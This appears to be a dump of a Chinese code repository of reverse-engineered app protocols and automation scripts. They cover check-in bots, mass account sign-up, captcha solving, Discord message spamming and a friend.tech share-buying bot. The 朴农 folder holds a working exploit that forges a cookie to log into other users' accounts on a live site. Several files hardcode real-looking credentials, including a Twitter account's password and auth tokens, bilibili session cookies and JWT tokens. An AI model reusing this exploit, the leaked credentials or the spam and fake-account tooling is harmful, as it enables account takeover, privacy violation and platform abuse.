├── 奇游 ├── README.md └── main.py ├── 麻吉 ├── README.md ├── main.py └── tools.py ├── 长安汽车 ├── README.md ├── index.js ├── index3.js ├── server.py ├── index1.js ├── index2.js └── tools.js ├── gosleep ├── README.md ├── zh2.txt ├── bindInvite.py ├── updateToken.py ├── selectInfo.py ├── inviteInfo.py └── signup.py ├── friendtech ├── config.py ├── README.md ├── InitProxy.py ├── FTApi.py ├── 监控的信息.txt ├── 策略1.py ├── TwiApi.py └── Web3Api.py ├── gwifi ├── README.md └── login.py ├── 小红书 ├── README.md └── main.py ├── README.md ├── 新湖南 └── README.md ├── 朴农 ├── README.md └── bug1.py ├── 衍界 ├── main.py └── login.py ├── 众人帮 ├── 简易爬任务.py └── README.md ├── 淘金社区.py ├── 胶囊 ├── main.py └── tools.py ├── dodo ├── api.go ├── biliAuth.py └── app协议.py ├── 豆瓣 ├── api_login.py └── api_home_list.py ├── bilibili └── 私信.py ├── element └── 批量刷号.py ├── coingecko └── 日常签到.py ├── discrod ├── 水群.py └── 内容.txt ├── 印象 ├── main.py └── index.js ├── poptown └── signup.py ├── 塞波尔 ├── index.js └── 打怪.py ├── nftcn └── 公告.py ├── 火兔 └── main.py ├── chatfi └── signup.py ├── 数美验证 ├── 数美_文字点选.py ├── 数美滑块_普通.py └── 数美滑块_带缺口.py ├── 新华社 └── login.js ├── deca └── task.py └── svg识别验证码.js /奇游/README.md: -------------------------------------------------------------------------------- 1 | ### app逆向协议 -------------------------------------------------------------------------------- /麻吉/README.md: -------------------------------------------------------------------------------- 1 | ### app逆向协议 -------------------------------------------------------------------------------- /长安汽车/README.md: -------------------------------------------------------------------------------- 1 | ### 长安汽车自动完成积分任务 2 | -------------------------------------------------------------------------------- /gosleep/README.md: -------------------------------------------------------------------------------- 1 | ### GoSleep app协议 先用test.py测试 -------------------------------------------------------------------------------- /friendtech/config.py: -------------------------------------------------------------------------------- 1 | MyAddress, PrivateKey = '', '' -------------------------------------------------------------------------------- /gwifi/README.md: -------------------------------------------------------------------------------- 1 | ### (app协议) 由于gwifi每晚都会重启并清空Session,故写了自动登录 -------------------------------------------------------------------------------- /小红书/README.md: -------------------------------------------------------------------------------- 1 | ## 小红书逆向 x-s,x-s-common,x-t 2 | 3 | ### index.js 搜 init_cookie 关键字定位到 cookie 相关代码,需要填 ck 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## 声明 2 | 3 | **作者声明:没有在任何平台进行代码售卖,请谨慎鉴别,上当受骗作者一律不负责** 4 | 5 | **本仓库所有项目仅供学习交流,严禁用于任何商业和非法用途,非本人使用而产生的纠纷与一切后果均与本人无关。** 6 | -------------------------------------------------------------------------------- /长安汽车/index.js: -------------------------------------------------------------------------------- 1 | var in1 = require("./index1") 2 | var in2 = require("./index2") 3 | var in3 = require("./index3") 4 | 5 | in1() 6 | in2() 7 | in3() -------------------------------------------------------------------------------- /friendtech/README.md: -------------------------------------------------------------------------------- 1 | ### ft机器人简易购买 2 | 3 | #### 主要策略逻辑: 4 | #### 1.检测机器人特征 5 | #### 2.检测新人特征,获取绑定的推特信息,比较粉丝数和关注数 6 | 7 | 补全config后 8 | 运行`python 策略1.py` 9 | -------------------------------------------------------------------------------- /新湖南/README.md: -------------------------------------------------------------------------------- 1 | ```python 2 | # app(signature)逆向-难度低 3 | tt = str(int(time.time() * 1000))#获取时间戳13位 4 | sign = sha1(f'{tt}500000hHacFKN5DxR5sPwyc1ns52M168rdoe3AGrWaseN3zYd2XoKaxYhYQTqDXvCtMkwz')#sha1加密 5 | headers = { 6 | "time": tt, 7 | "nonce": "500000",#可固定 8 | "signature": sign 9 | } 10 | ``` -------------------------------------------------------------------------------- /朴农/README.md: -------------------------------------------------------------------------------- 1 | ### bug1: 可通过更改cookie中m_username值查询并登陆到非本人的账户 2 | 3 | ```python 4 | cookies = { 5 | "PHPSESSID": randPHPSESSID(), 6 | "m_password": md5(str(int(time.time()*1000000))), 7 | "m_fullname": "", 8 | "m_level": "0", 9 | "m_isPass": "1", 10 | "erdangjiade": "erdangjiade", 11 | "m_username": ppp 12 | } 13 | ``` 14 | -------------------------------------------------------------------------------- /friendtech/InitProxy.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | # 检测 在本地运行还是服务器 5 | if getattr(sys, 'frozen', False): 6 | BASE_DIR = os.path.dirname(sys.executable) 7 | proxy = None 8 | else: 9 | BASE_DIR = os.path.dirname(os.path.abspath(__file__)) 10 | proxy = { 11 | "http": "127.0.0.1:7890", 12 | "https": "127.0.0.1:7890" 13 | } 14 | print(f"----环境路径({BASE_DIR})----") 15 | -------------------------------------------------------------------------------- /friendtech/FTApi.py: -------------------------------------------------------------------------------- 1 | from TwiApi import addTwiInfo 2 | import requests 3 | import time 4 | 5 | 6 | def custom_time(timestamp: int) -> str: 7 | time_local = time.localtime(timestamp/1000) 8 | dt = time.strftime("%m-%d %H:%M:%S", time_local) 9 | return dt 10 | 11 | 12 | def getInfo(ad): 13 | res = requests.get(f"https://prod-api.kosetto.com/users/{ad}").json() 14 | # print(datetime.now(),res) 15 | if "message" in res: 16 | return {} 17 | del res["twitterPfpUrl"] 18 | res["displayPrice"] = float(res["displayPrice"])/(10**18) 19 | res["lastOnline"] = custom_time(int(res["lastOnline"])) 20 | try: 21 | info = addTwiInfo(res) 22 | except: 23 | return {} 24 | return info 25 | -------------------------------------------------------------------------------- /gosleep/zh2.txt: -------------------------------------------------------------------------------- 1 | elrcfmr@moakt.co|600137302|E844X5|zvo3Wya/I5RJMYHmcLgfgQ==|gOCge0AC03JNXw==|207901103236a38acmiunknown|eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2ODI4NTY5NjUuMDIwNjU1NCwidWlkIjo2MDAxMzczMDIsImV4IjoxNjgzNDYxNzY1LjAyMDY1NTZ9.l00a3i70TrcQGEY76-4WZIA494xx2Z6Wwh9ljxyVLLA 2 | cqjhhu36x@disbox.org|600137305|E844X8|oMgDREgY1LLxUtGTgzSc5A==|lInn5ZqaCimepA==|2da3e5456456d35ccmiunknown|eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2ODI4NTY5NzEuODA2NTM1MiwidWlkIjo2MDAxMzczMDUsImV4IjoxNjgzNDYxNzcxLjgwNjUzNTV9.Wj3wYuETgc6tevGOSsyQ6H958IYmK28JDu3gX_9tV6o 3 | q2qnt@tmail.ws|600137334|E844Y3|fbaSZk4noRxE6xWVjVw/UA==|xnBnnzWwsEYrbg==|207901103236a38acmiunknown|eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2ODI4NTY5NzkuMzE3NDgxLCJ1aWQiOjYwMDEzNzMzNCwiZXgiOjE2ODM0NjE3NzkuMzE3NDgxM30.KpWgkHZ134h7p8odwpV8v0K3-Ie70biTtkgO239bIis 4 | -------------------------------------------------------------------------------- /衍界/main.py: -------------------------------------------------------------------------------- 1 | import time 2 | import execjs 3 | import threading 4 | import requests 5 | import json 6 | 7 | js = execjs.compile(open("./衍界/index.js").read()) 8 | 9 | 10 | def main(): 11 | data = js.call("encryptData", {"productId": "469490260380876805"}, "03c1f319481676b43fe9668ed554313bb8002f5879efda76c8050485367f80894f") 12 | headers = { 13 | "UserMeta": "{'appType':'APP','plaform':'android'}", 14 | "Version": "1.0.7(204)", 15 | "DeviceCode": "767425D2EE7A52003DDC5967EA1F79AC", 16 | "Token": "B42C4C5AEB952D6D9D80DB642FD18658I51E", 17 | "user-agent": "Mozilla/5.0 (Linux; Android 10; Mi 10 Pro Build/QKQ1.200419.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/114.0.5735.14 Mobile Safari/537.36" 18 | } 19 | 20 | res = requests.post("https://api.yanjie.art/nft/order/createQuickOrder", json=data, headers=headers) 21 | print(res.text) 22 | -------------------------------------------------------------------------------- /衍界/login.py: -------------------------------------------------------------------------------- 1 | import time 2 | import execjs 3 | import threading 4 | import requests 5 | import json 6 | 7 | http = requests.Session() 8 | js = execjs.compile(open("./衍界/index.js").read()) 9 | 10 | data = js.call("encryptData", {"phone": "18888888888", "code": "111111", "typeCode": 1, "captchaId": "054a29844f754634b32524e833e033e1", "neCaptchaValidate": ""},"0302277d3a326bf9d3f4b622aa04bfdd06188cc95c2b66273b4d7a47edd09f2a6b") 11 | headers = { 12 | "UserMeta": "{'appType':'APP','plaform':'android'}", 13 | "Version": "1.0.7(204)", 14 | "DeviceCode": "BB34D14CD91EFFE5EEE818AC18CCC45C", 15 | "Token": "", 16 | "user-agent": "Mozilla/5.0 (Linux; Android 10; Mi 10 Pro Build/QKQ1.200419.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/114.0.5735.14 Mobile Safari/537.36" 17 | } 18 | 19 | res = requests.post("https://api.yanjie.art/api/app/login/phone", json=data, headers=headers).json() 20 | print(res) 21 | -------------------------------------------------------------------------------- /众人帮/简易爬任务.py: -------------------------------------------------------------------------------- 1 | import requests as http 2 | 3 | url = "http://c.29592.net/api/EarnUser/EarnList" 4 | 5 | 6 | headers = { 7 | "Cookie": "", # 可为空 8 | "Connection": "keep-alive", 9 | "Accept": "*/*", 10 | "User-Agent": "iPhone14,2(iOS/15.2) Uninview(Uninview/1.0.0) Weex/0.26.0 1170x2532" 11 | } 12 | 13 | 14 | def main(num): 15 | print(num) 16 | data = { 17 | "account": account, 18 | "password": password, 19 | "type": "-1", 20 | "subtype": "1", 21 | "keywords": "", 22 | "isios": "1", 23 | "pindex": num, 24 | "version": "-50" 25 | } 26 | res = http.post(url, json=data, headers=headers).json() 27 | for i in res: 28 | groupname = i["groupname"] 29 | title = i["title"] 30 | uid = i["uid"] 31 | print(groupname, title, uid) 32 | 33 | 34 | account = "账号" 35 | password = "密码" # 密码需要md5大写处理 36 | for i in range(10): 37 | main(i) 38 | -------------------------------------------------------------------------------- /淘金社区.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import datetime 3 | import hashlib 4 | import requests 5 | from Crypto.Cipher import DES3 6 | 7 | 8 | def md5(str): 9 | return hashlib.md5(bytes(str, encoding="utf8")).hexdigest().upper() 10 | 11 | 12 | UserCode = "" 13 | LoginPwd = "" 14 | text = '{"DeviceType":"1","ReqContent":{"UserCode":"'+UserCode+'","CheckCode":"","LoginPwd":"'+md5(LoginPwd)+'"},"RamdomStr":"90f2c5344a2d4c1792412f6db81cfd45","Version":"AV1.7.0","DeviceId":"562a8eaa9c344c6a","AreaCode":"3701","SessionId":""}' 15 | key = b"F734B7E634E78EBB9A467B0E" # key是16位或者24位 16 | aes = DES3.new(key=key, mode=DES3.MODE_ECB) 17 | data = text.encode() 18 | # 数据不足8位, 后面补足 0 同样16进制 19 | data += b"\x00" * (8 - len(text) % 8) 20 | headers = {"Content-Type": "text/x-markdown; charset=utf-8", "User-Agent": "okhttp/3.3.1"} 21 | res = requests.post("http://mapi.sdcp.cn:8881/api/access/do/?cmd=v2_userlogin&sign=1114919A3E33E62E5986F0805DC51B24&usebase64=false", data=aes.encrypt(data), headers=headers) 22 | print(res.text) 23 | print(res.content) 24 | -------------------------------------------------------------------------------- /长安汽车/index3.js: -------------------------------------------------------------------------------- 1 | const tools = require("./tools") 2 | 3 | const tokens = [ 4 | "", 5 | "" 6 | ] 7 | 8 | async function main() { 9 | for (i in tokens) { 10 | await usersign(tokens[i]) 11 | } 12 | } 13 | 14 | async function usersign(auth) { 15 | var tt = new Date().getTime().toString() 16 | var url = "https://int.oushangstyle.changan.com.cn/user/clickSignUp" 17 | var headers = { 18 | "Accept-Language": "zh-CN,zh;q=0.8", 19 | "User-Agent": "android-OStyle", 20 | "token": auth, 21 | "zh-sign": "", 22 | "os": "Android", 23 | "timeStamp": tt, 24 | "channel": "huawei", 25 | "version": "20440", 26 | "uuid": "", 27 | "brand": "Xiaomi", 28 | "model": "Mi 10 Pro", 29 | "deviceSDK": "30", 30 | "operatorName": "dx", 31 | "networkState": "WIFI", 32 | "manuFacture": "Xiaomi" 33 | } 34 | var options = { 35 | uri: url, 36 | method: "POST", 37 | body: {}, 38 | json: true, 39 | headers: headers 40 | } 41 | var res = await tools.http(options) 42 | console.log(JSON.stringify(res)) 43 | } 44 | 45 | module.exports = main -------------------------------------------------------------------------------- /朴农/bug1.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import random 3 | import re 4 | import time 5 | import requests 6 | 7 | 8 | def randPHPSESSID(): 9 | ranstr = 'qwertyuioplkjhgfdsazxcvbnm1234567890' 10 | returnStr = ''.join(random.choice(ranstr) for _ in range(27)) 11 | return returnStr 12 | 13 | 14 | def md5(str): 15 | return hashlib.md5(bytes(str, encoding="utf8")).hexdigest() 16 | 17 | 18 | headers = { 19 | "Upgrade-Insecure-Requests": "1", 20 | "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 21 | } 22 | 23 | def nn(ppp): 24 | cookies = { 25 | "PHPSESSID": randPHPSESSID(), 26 | "m_password": md5(str(int(time.time()*1000000))), 27 | "m_fullname": "", 28 | "m_level": "0", 29 | "m_isPass": "1", 30 | "erdangjiade": "erdangjiade", 31 | "m_username": ppp 32 | } 33 | url = "http://niu.xn--tlqp0ic1d7xa353ch5igmrszjuj4d.xn--fiqs8s/mobile/hy.php" 34 | response = requests.get(url, headers=headers, cookies=cookies, verify=False) 35 | 36 | mm = re.compile('009900.*?h2').findall(response.text)[0].replace('009900;">', '').replace('', response.text)[0] 13 | print(s) 14 | data = { 15 | "utf8": "✓", 16 | "authenticity_token": s, 17 | "user[email]": u, 18 | "user[password]": p, 19 | "user[redirect_to]": "", 20 | "user[remember_me]": "1", 21 | "commit": "Log in" 22 | } 23 | responsee = client.post("https://www.coingecko.com/account/sign_in?locale=en", data=data, headers=headers) 24 | if responsee.status_code == 302: 25 | print('登录成功') 26 | return responsee.cookies['_session_id'], responsee.cookies['remember_user_token'] 27 | 28 | 29 | def zh(c2, c3): 30 | try: 31 | headers = { 32 | 'cookie': 'remember_user_token='+str(c3)+'; _session_id='+str(c2), 33 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' 34 | } 35 | response = client.get("https://www.coingecko.com/account/candy?locale=zh", headers=headers) 36 | s = re.findall(r'authenticity_token\" value=\"(.*?)\" />', response.text)[0] 37 | data = { 38 | 'authenticity_token': s 39 | } 40 | responsee = client.post("https://www.coingecko.com/account/candy/daily_check_in?locale=zh", headers=headers, data=data, allow_redirects=False) 41 | if responsee.status_code == 302: 42 | return '领取成功' 43 | except: 44 | return "已经签到" 45 | 46 | 47 | def main(): 48 | accounts = ["账号"] 49 | print(accounts) 50 | for account in accounts: 51 | global client 52 | client = httpx.Client(http2=True, verify=False) 53 | msg = signin(account, "密码") 54 | if msg is None: 55 | exit(print('登录失败')) 56 | status = zh(msg[0], msg[1]) 57 | print("coingecko签到", account[:3]+status) 58 | client.close() 59 | 60 | 61 | if __name__ == "__main__": 62 | main() 63 | -------------------------------------------------------------------------------- /dodo/biliAuth.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | 4 | def getBiliAuthCode(biliCookie): 5 | http = requests.Session() 6 | res = http.get("https://passport.bilibili.com/qrcode/getLoginUrl").json() 7 | oauthKey = res["data"]["oauthKey"] 8 | print("oauthKey", oauthKey) 9 | 10 | data = {"oauthKey": oauthKey} 11 | headers = { 12 | "user-agent": "Mozilla/5.0 (Linux; Android 12; Mi 10 Pro Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/103.0.5060.129 Mobile Safari/537.36 os/android model/Mi 10 Pro build/7050300 osVer/12 sdkInt/31 network/2 BiliApp/7050300 mobi_app/android channel/yingyongbao Buvid/XX67AB56A7DF1FDAE70B708576BA4DE0DA1C7 sessionID/e39309ee innerVer/7050300 c_locale/zh_CN s_locale/zh_CN disable_rcmd/0", 13 | "origin": "https://passport.bilibili.com", 14 | "cookie": biliCookie 15 | 16 | } 17 | res = http.post("https://passport.bilibili.com/qrcode/login/confirm", data=data, headers=headers).json() 18 | print("san", res) 19 | 20 | data = { 21 | "oauthKey": oauthKey, 22 | "source": "oauth2" 23 | } 24 | res = http.post("https://passport.bilibili.com/qrcode/authorize/poll", data=data).json() 25 | tmp_token = res["data"]["tmp_token"] 26 | print("tmp_token", tmp_token) 27 | 28 | data = { 29 | "client_id": "0c95e37758534eb7", 30 | "scopes": "NFT_BASE,USER_INFO", 31 | "tmp_token": tmp_token, 32 | "state": "1", 33 | "session_id": "1671337800386buvid3=7B16224C-D4D0-C772-02FF-122E2149AC7D32539infoc; _uuid=B108DF9E9-2D3C-10285-E7A10-B3D4C87717DB33273infoc; buvid4=146FC998-7EEB-E06B-6872-66203443BD9903715-022031816-CYYvSephsrOgonUdtOFiLA%3D%3D; buvid_fp_plain=undefined; b_nut=100; nostalgia_conf=-1; fingerprint=eb9a9e23e188a06e5b213dda66422546; i-wanna-go-back=-1; DedeUserID=247004494; DedeUserID__ckMd5=0496578841d424ca; LIVE_BUVID=AUTO6316635027273791; b_ut=5; CURRENT_QUALITY=80; buvid_fp=eb9a9e23e188a06e5b213dda66422546; CURRENT_FNVAL=4048; PVID=1; rpdid=|(J|Y|lY)~mm0J'uY~ | JmYm |); bili_jct=16060c9b0402344494628e2a84f10f59; sid=7eyt43oi; b_lsid=10DE9159C_185236F4562; bsource_origin=login_download_bili; bsource=login_download_bili10", 34 | "return_url": "https://www.imdodo.com/thirdLogin/biliLogin", 35 | "csrf": "16060c9b0402344494628e2a84f10f59" 36 | } 37 | res = http.post("https://api.bilibili.com/x/account-oauth2/v1/authorize", data=data).json() 38 | code = res["data"]["code"] 39 | print("code", code) 40 | http.close() 41 | return code 42 | 43 | 44 | getBiliAuthCode("") 45 | -------------------------------------------------------------------------------- /众人帮/README.md: -------------------------------------------------------------------------------- 1 | #### 简易爬取任务列表(难度为0),正常获取如下 2 | 0 3 | 饿了么 纯助力不下单的副本 21445785 4 | 京喜特价 先做这个贼快哦 16972781 5 | 淘金城镇 淘金城镇有后续的副本 25303836 6 | 京东金融 纯登录 8369746 7 | 弘康小药保 纯网页注册 11748288 8 | 京喜特价 支付0.01分钱简单 5430662 9 | 百度极速版 下载的助力 12707016 10 | 宽带注册业务88 简单注册不突 12557863 11 | 交通银行 纯登录不用实名 17448720 12 | 支付宝收钱码 简单快速 2190448 13 | 1 14 | 饿了么 纯助力不下单的副本 21445785 15 | 京喜特价 先做这个贼快哦 16972781 16 | 淘金城镇 淘金城镇有后续的副本 25303836 17 | 京东金融 纯登录 8369746 18 | 弘康小药保 纯网页注册 11748288 19 | 京喜特价 支付0.01分钱简单 5430662 20 | 百度极速版 下载的助力 12707016 21 | 宽带注册业务88 简单注册不突 12557863 22 | 交通银行 纯登录不用实名 17448720 23 | 支付宝收钱码 简单快速 2190448 24 | 2 25 | 移动云H5官网 不下载网页纯注册 6306022 26 | 邮生活 不需要下载 22823980 27 | i茅台 嗖的一下 25280040 28 | 建设权益10月 已经更新了快🔥 5493014 29 | 点淘 点淘纯注册 12697323 30 | 点淘 简单下载有后续 7855154 31 | 考试蚁 纯下载注册 25879075 32 | 支付宝收钱码 助力的的副本 1671944 33 | 点淘 简单下载有后续的副本 1671944 34 | 建设银行肯德基 建行 3256114 35 | 3 36 | oppo手机将浪漫贯彻到 用户oppo将浪漫贯彻到底 11030691 37 | 快手极速版10月 10s助力 3139873 38 | 百度极速版 10s纯下载 3139873 39 | 宽带纯注册 简单纯注册不下载 12557863 40 | 易方达基金财富号 有支付宝就做 3139873 41 | oppo手机奶熊的快乐波 oppo手机奶熊的快乐波波池 11030691 42 | 支付宝收钱码 简单领取 1796192 43 | 百万无忧意外医疗险 不下载体验版 6306022 44 | 淘金城镇 淘金城镇都来看有后续的副本 3067514 45 | 点淘 点淘新用户 25628170 46 | 4 47 | 支付宝收钱码 首次领0元不花钱 3229336 48 | 百度极速版助力 纯助力的副本 12697323 49 | 定海山 1定海山体验 1763903 50 | 支付宝收钱码 0元领不花钱 3139873 51 | 找驴科技 新单贼快 21639909 52 | 顺丰速运 领券快抢 2849784 53 | 快手极速版 新用户填码 26725313 54 | 什么值得买 纯注册填码的副本的副本 13808571 55 | 快手11月 快手助力 861310 56 | 支付宝2元红包 支付宝🍎领2元 3139873 57 | 5 58 | 饿了么 简单的 1671944 59 | 支付宝3元 有支付宝🍎就来 3139873 60 | 点淘 简单立赚 8614931 61 | 昊铂 下载纯登录简单 5430662 62 | 腾讯视频麦当劳10元 🌵腾讯视1700积分🌵的副本 3322198 63 | 腾讯永辉10元 🌵腾讯1700积分🌵的副本 3322198 64 | 腾讯必胜客10 腾讯1530积的副本 3322198 65 | 头条搜索极速版 填码今日头条 2579200 66 | 联通10元卡沃尔玛 🌵联通1150积分来🌵的副本 3322198 67 | 头条极速版回归 助力 2579200 68 | 6 69 | 快手11月 一个月未登录来 3256114 70 | 淘金城镇 都来看 9983580 71 | 东方财富 新用户纯注册下载 8661042 72 | 体重大比拼 11月18日新单 12239603 73 | 成语来接龙 11月11日新单 12239603 74 | 歌王大作战 11月19日新单 12239603 75 | 拼图小超人 11月15日新单 12239603 76 | 成语爱闯关 11月13日新单 12239603 77 | 成语行天下 11月16日新单 12239603 78 | 头条搜索极速版11月 头条填码 7626259 79 | 7 80 | 天天猜美食 10号天天猜美食的副本 6245930 81 | 头条搜索极速版 简单填码 7916201 82 | 快手极速版 填邀请码 1671944 83 | 昊铂 助力的 15760103 84 | 头条极速版回归 简单助力速来 7916201 85 | 点淘 简单下载 3862228 86 | 京东e卡50元 收50元京东卡 3256114 87 | 点淘后续2至8天 点淘后续2至8天的副本 15020341 88 | 支付宝收钱码 0元领取 883384 89 | 头条搜索极速版 头条极速版简单注册的副本 8618432 90 | 8 91 | 飞猪咖啡325券 飞猪旅行瑞幸咖啡的副本 7855154 92 | 番茄免费小说 填个码🔥的副本 7855154 93 | 鸦鸦 老用户来 13377050 94 | 支付宝收钱码 简单 6811500 95 | 建行天猫10元 建行有10天猫来 3256114 96 | 虎牙直播助力 助力看几秒视频 5430662 97 | 昊铂 下载助力 2892285 98 | 快手 新用户助力 2596203 99 | 百度极速版红包 简单 26365910 100 | 建设权益9月 10月已更新来 1831137 -------------------------------------------------------------------------------- /discrod/水群.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import requests 3 | import json 4 | import random 5 | import time 6 | import threading 7 | import os 8 | 9 | session = requests.Session() 10 | proxies = { 11 | 'http': 'http://127.0.0.1:7890', 12 | 'https': 'http://127.0.0.1:7890', 13 | } 14 | 15 | 16 | def get_context(Auth, chid): 17 | r"""获取聊天室上下文""" 18 | headr = { 19 | "Authorization": Auth, 20 | "Content-Type": "application/json", 21 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.62" 22 | } 23 | url = f"https://discord.com/api/v9/channels/{chid}/messages?limit=1" 24 | res = requests.get(url=url, headers=headr, proxies=proxies) 25 | result = json.loads(res.content) 26 | print(result) 27 | 28 | 29 | def chat(authorization_list, channel_list, chid, msg=None, proxies=proxies): 30 | r"""发送消息""" 31 | for authorization in authorization_list: 32 | header = { 33 | "Authorization": authorization, 34 | "Content-Type": "application/json", 35 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.62" 36 | } 37 | for channel_id in channel_list: 38 | msg = { 39 | # 随机选取一条内容 40 | "content": get_context(authorization, chid) if msg is None else msg, 41 | "nonce": f"82329451214{random.randrange(0, 100000)}232234", 42 | "tts": False 43 | } 44 | url = f'https://discord.com/api/v9/channels/{channel_id}/messages' 45 | try: 46 | res = requests.post(url=url, headers=header, data=json.dumps(msg), proxies=proxies).json() 47 | print(f"{res['timestamp']} => {channel_id} => {res['content']}") 48 | except Exception as e: 49 | print('error', e) 50 | # time.sleep(random.randrange(30, 50)) 51 | 52 | 53 | def main(): 54 | while True: 55 | try: 56 | chat(authorization_list, [random.choice(channel_list)], None, msg=random.choice(msg_arr)) 57 | time.sleep(random.randrange(int(time_s[0]), int(time_s[1]))) 58 | except Exception as e: 59 | print(e) 60 | 61 | 62 | if __name__ == '__main__': 63 | authorization_list = [""] 64 | channel_list = [""] 65 | 66 | time_s = input("输入聊天间隔 如10,20 10到20s中随机时间发言 \n").split(',') 67 | msg_arr = open("./discrod/内容.txt").read().split("\n") 68 | main() 69 | -------------------------------------------------------------------------------- /friendtech/策略1.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | from config import * 3 | from FTApi import getInfo 4 | from Web3Api import web3, w3 5 | 6 | import threading 7 | 8 | 9 | def getBalance(address): 10 | balance = web3.fromWei(web3.eth.getBalance(address), "ether") 11 | return balance 12 | 13 | 14 | def start(transaction): 15 | r""" 16 | 主要策略逻辑:1.检测机器人特征 17 | 2.检测新人特征,获取绑定的推特信息,比较粉丝数和关注数 18 | """ 19 | txn_info = web3.eth.getTransaction(transaction) 20 | txBlance = float(txn_info["value"])/(10**18) 21 | # nonce = int(txn_info["nonce"]) 22 | data = txn_info["input"] 23 | if txBlance == float(0) and data[:10] == "0x6945b123" and data[-5:] == "00001": 24 | open("./web3/friendtech/监控的信息.txt", "a").write(f'{txn_info["from"]}|{txn_info["to"].lower()}|{txBlance}e\n') 25 | info = getInfo(txn_info["from"]) 26 | if info == {}: 27 | return 28 | followers_count = info["followers_count"] 29 | friends_count = info["friends_count"] 30 | # twitterUsername = info["twitterUsername"] 31 | currBalance = getBalance(txn_info["from"]) 32 | if len(str(currBalance)) >= 6: 33 | print(datetime.now(), "为机器人,跳过", txn_info["from"], currBalance) 34 | return 35 | if friends_count >= 5 and followers_count >= 5: 36 | print(datetime.now(), "有新人入场,且符合要求", txn_info["from"], currBalance) 37 | w3.buyShares(txn_info["from"], 1, gasLimit=1000000, gasPrice=2) 38 | 39 | # print(txn_info["blockNumber"], txn_info["nonce"], txn_info["from"].lower(), txn_info["to"].lower(), txBlance) 40 | # {'id': 224406, 'address': '0xa639c4cbd310547e4df6656755e6794f5b9a0f35', 'twitterUsername': 'vaine51281', 'twitterName': 'Vaine Catherine', 'twitterUserId': '1678190442473717760', 'lastOnline': '09-20 23:02:51', 'lastMessageTime': 0, 'holderCount': 2, 'holdingCount': 0, 'watchlistCount': 0, 'shareSupply': 2, 'displayPrice': 0.00025, 'lifetimeFeesCollectedInWei': '0', 'friends_count': 3, 'followers_count': 0, 'statuses_count': 1, 'favourites_count': 0, 'media_count': 0} 41 | 42 | 43 | def main(bl): 44 | # 获取交易hash列表 45 | transactions = web3.eth.getBlock(bl).transactions 46 | transactions.pop(0) 47 | for transaction in transactions: 48 | threading.Thread(target=start, args=(transaction,)).start() 49 | 50 | 51 | if __name__ == "__main__": 52 | # 获取最新区块数 53 | newBlock = None 54 | while True: 55 | blockNumber = web3.eth.blockNumber 56 | if newBlock != blockNumber: 57 | print(datetime.now(), blockNumber) 58 | newBlock = blockNumber 59 | threading.Thread(target=main, args=(blockNumber,)).start() 60 | -------------------------------------------------------------------------------- /friendtech/TwiApi.py: -------------------------------------------------------------------------------- 1 | from InitProxy import * 2 | from urllib.parse import quote_plus 3 | import requests 4 | import json 5 | 6 | http = requests.Session() 7 | http.proxies = proxy 8 | 9 | default_features = {"hidden_profile_likes_enabled": True, "hidden_profile_subscriptions_enabled": True, "responsive_web_graphql_exclude_directive_enabled": True, "verified_phone_label_enabled": False, "subscriptions_verification_info_is_identity_verified_enabled": True, "subscriptions_verification_info_verified_since_enabled": True, "highlights_tweets_tab_ui_enabled": True, "creator_subscriptions_tweet_preview_api_enabled": True, "responsive_web_graphql_skip_user_profile_image_extensions_enabled": False, "responsive_web_graphql_timeline_navigation_enabled": True} 10 | features = quote_plus(json.dumps(default_features)) 11 | default_fieldToggles = {"withAuxiliaryUserLabels": False} 12 | fieldToggles = quote_plus(json.dumps(default_fieldToggles)) 13 | 14 | cookie_json = {'email': 'jasmynnmartin@yahoo.com', 'username': 'jasmynnmartin', 'password': '2WboVIcpcxqUx2q', 'guest_token': '1704085021873832216', 'flow_token': 'g;169512050423260594:-1695120504733:ZqpWEHzSFtmzF8TYkztNImwI:13', 'auth_token': 'ee6687bac4c86f4d55aea20de2ea29f4beb40875', 'ct0': '438a9d8547b12b46102dc9075140e3ac', 'kdt': 'emzPrCuzxjmKtJHbIJ3UpH3MIXQDzyiUH3dwASCu', 'twid': '"u=2582711594"'} 15 | headers = { 16 | 'authorization': 'Bearer AAAAAAAAAAAAAAAAAAAAANRILgAAAAAAnNwIzUejRCOuH5E6I8xnZz4puTs=1Zv7ttfk8LF81IUq16cHjhLTvJu4FA33AGWWjCpTnA', 17 | 'cookie': '; '.join(f'{k}={v}' for k, v in cookie_json.items()), 18 | 'referer': 'https://twitter.com/', 19 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36', 20 | 'x-csrf-token': cookie_json.get("ct0", ""), 21 | 'x-guest-token': cookie_json.get("guest_token", ""), 22 | 'x-twitter-auth-type': 'OAuth2Session', 23 | 'x-twitter-active-user': 'yes', 24 | 'x-twitter-client-language': 'en', 25 | } 26 | 27 | 28 | def addTwiInfo(ftInfo): 29 | data1 = {"screen_name": ftInfo["twitterUsername"], 